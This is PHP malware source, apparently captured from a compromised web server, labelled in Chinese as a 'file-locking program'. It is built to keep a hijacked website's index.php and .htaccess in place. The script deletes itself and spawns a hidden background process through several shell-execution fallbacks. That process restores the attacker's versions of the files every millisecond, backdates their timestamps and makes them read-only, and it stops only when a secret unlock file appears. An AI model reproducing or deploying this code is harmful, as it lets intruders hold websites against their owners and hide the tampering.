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Your IP : 18.223.238.150
<?php
error_reporting(0);
$unlock_key=md5('unlock_2024c').'.txt';
$unlock_key_content=md5('yes_2024c');
$lock_name_list=array('index.php','.htaccess');
$bak_ext='bak';
function getPhpPath()
{
ob_start();
phpinfo(1);
$info = ob_get_contents();
ob_end_clean();
preg_match("/--bindir=([^&]+)/si", $info, $matches);
if (isset($matches[1]) && $matches[1] != '') {
return $matches[1] . '/php';
}
preg_match("/--prefix=([^&]+)/si", $info, $matches);
if (!isset($matches[1])) {
return 'php';
}
return $matches[1] . '/bin/php';
}
function is_cli()
{
$is_cli = preg_match("/cli/i", php_sapi_name()) ? true : false;
if ($is_cli === false) {
if (isset($_SERVER['argc']) && $_SERVER['argc'] >= 2) {
$is_cli = true;
}
}
if ($is_cli === false) {
if (!isset($_SERVER['SCRIPT_NAME'])) {
$is_cli = true;
}
}
return $is_cli;
}
function do_lock()
{
global $unlock_key,$unlock_key_content,$lock_name_list,$bak_ext;
unlink(__FILE__);
$wwwroot='';
if (is_file('wwwroot.txt'))
{
$wwwroot=trim(file_get_contents('wwwroot.txt'));
unlink('wwwroot.txt');
}
if ($wwwroot!='')
{
$lock=array();
foreach ($lock_name_list as $lock_name1)
{
$lock[]=array(
'target'=>$wwwroot.'/'.$lock_name1,
'bak'=>$wwwroot.'/'.$lock_name1.'.'.$bak_ext,
'bak_content'=>'',
'bak_content_md5'=>''
);
}
$do_circle=false;
for($i=0;$i<count($lock);$i++)
{
if (is_file($lock[$i]["bak"]))
{
$lock[$i]["bak_content"]=trim(file_get_contents($lock[$i]["bak"]));
unlink($lock[$i]["bak"]);
}
if ($lock[$i]["bak_content"]!="")
{
$lock[$i]["bak_content_md5"]=md5($lock[$i]["bak_content"]);
$do_circle=true;
}
}
while( $do_circle )
{
if ( is_file($wwwroot.'/'.$unlock_key)&&trim(file_get_contents($wwwroot.'/'.$unlock_key))==$unlock_key_content )
{
chmod($wwwroot.'/'.$unlock_key,0777);
file_put_contents($wwwroot.'/'.$unlock_key,'0');
unlink($wwwroot.'/'.$unlock_key);
break;
}
for($i=0;$i<count($lock);$i++)
{
if ( $lock[$i]["bak_content"]!="" )
{
if ( !is_file($lock[$i]["target"]) )
{
file_put_contents($lock[$i]["target"],$lock[$i]["bak_content"]);
touch($lock[$i]["target"], strtotime("-400 days", time()));
chmod($lock[$i]["target"], 0444);
}else
{
if ( md5(file_get_contents($lock[$i]["target"]))!=$lock[$i]["bak_content_md5"] )
{
chmod($lock[$i]["target"], 0777);
unlink($lock[$i]["target"]);
file_put_contents($lock[$i]["target"],$lock[$i]["bak_content"]);
touch($lock[$i]["target"], strtotime("-400 days", time()));
chmod($lock[$i]["target"], 0444);
}
}
}
}
usleep(1000);
}
}else
{
echo 'wwwroot无效 --- 运行失败';
exit;
}
}
function http_do_lock()
{
set_time_limit(0);
ignore_user_abort(true);
do_lock();
}
function check_do_lock()
{
sleep(2);
if ( is_file(__FILE__) )
{
echo '<br><br>执行失败,改用http方式执行';
http_do_lock();
}
}
if ( is_cli()==true )
{
do_lock();
}else
{
$wwwroot=$_SERVER["DOCUMENT_ROOT"];
if (empty($wwwroot)) $wwwroot=str_replace($_SERVER["SCRIPT_NAME"],"",$_SERVER["SCRIPT_FILENAME"]);
$wwwroot=trim($wwwroot);
if ($_GET['action']=='lock')
{
if ($wwwroot=='')
{
echo 'wwwroot无效 --- 运行失败';
exit;
}
$check_bak=false;
foreach($lock_name_list as $lock_name1)
{
$bak_path=$wwwroot.'/'.$lock_name1.'.'.$bak_ext;
if ( is_file($bak_path)&&trim(file_get_contents($bak_path))!='' )
{
$check_bak=true;
break;
}
}
if ($check_bak==false)
{
echo '<br><br><font color="red">请先上传bak文件并确保内容非空!</font>';
exit;
}
if (is_file('wwwroot.txt'))
{
chmod('wwwroot.txt',0777);
unlink('wwwroot.txt');
}
file_put_contents('wwwroot.txt',$wwwroot);
$php_path=getPhpPath();
$run_file=__FILE__;
$cmd="nohup $php_path " . $run_file . " >/dev/null 2>&1 &";
if (function_exists('exec'))
{
echo 'exec 执行 '.$cmd;
exec($cmd);
check_do_lock();
}elseif(function_exists('shell_exec'))
{
echo 'shell_exec 执行 '.$cmd;
shell_exec($cmd);
check_do_lock();
}elseif(function_exists('system'))
{
echo 'system 执行 '.$cmd;
system($cmd);
check_do_lock();
}elseif(function_exists('passthru'))
{
echo 'passthru 执行 '.$cmd;
passthru($cmd);
check_do_lock();
}elseif(function_exists('popen'))
{
echo 'popen 执行 '.$cmd;
$fp = popen($cmd,"r");
pclose($fp);
check_do_lock();
}elseif(function_exists('proc_open'))
{
echo 'proc_open 执行 '.$cmd;
$fp = proc_open($cmd,[ ["pipe","r"],["pipe","w"],["file","/tmp/error-output.txt","a"] ],$pipes);
proc_close($fp);
check_do_lock();
}elseif(function_exists('pcntl_exec'))
{
echo 'pcntl_exec 执行 '.$php_path.' '.$run_file;
pcntl_exec($php_path,[$run_file]);
check_do_lock();
}else
{
echo 'http( set_time_limit=0,ignore_user_abort=true ) 执行 '.$run_file;
http_do_lock();
}
}elseif($_GET['action']=='unlock')
{
if ( is_file($wwwroot.'/'.$unlock_key) )
{
chmod($wwwroot.'/'.$unlock_key,0777);
unlink($wwwroot.'/'.$unlock_key);
}
file_put_contents($wwwroot.'/'.$unlock_key,$unlock_key_content);
sleep(2);
if ( !is_file($wwwroot.'/'.$unlock_key)||trim(file_get_contents($wwwroot.'/'.$unlock_key))!=$unlock_key_content )
{
echo '解锁成功!';
}else
{
echo '无需解锁!';
}
chmod($wwwroot.'/'.$unlock_key,0777);
file_put_contents($wwwroot.'/'.$unlock_key,'0');
unlink($wwwroot.'/'.$unlock_key);
}else
{
echo '<html><head><title>文件锁定程序-cww版</title></head><body><div><h1>文件锁定程序-cww版</h1><br><br><h3>请先上传index.php.bak和.htaccess.bak到网站根目录再执行本程序</h3><br><br><h3>*建议将本程序上传到子目录运行避免同行盗用<br>*锁定后无响应请手动检查<br>*更新锁定文件请先解锁</h3><br><br><h1><a href="?action=lock" target="_self">锁定</a><br><br><a href="?action=unlock" target="_self">解锁</a></h1></div></body></html>';
}
}
?>
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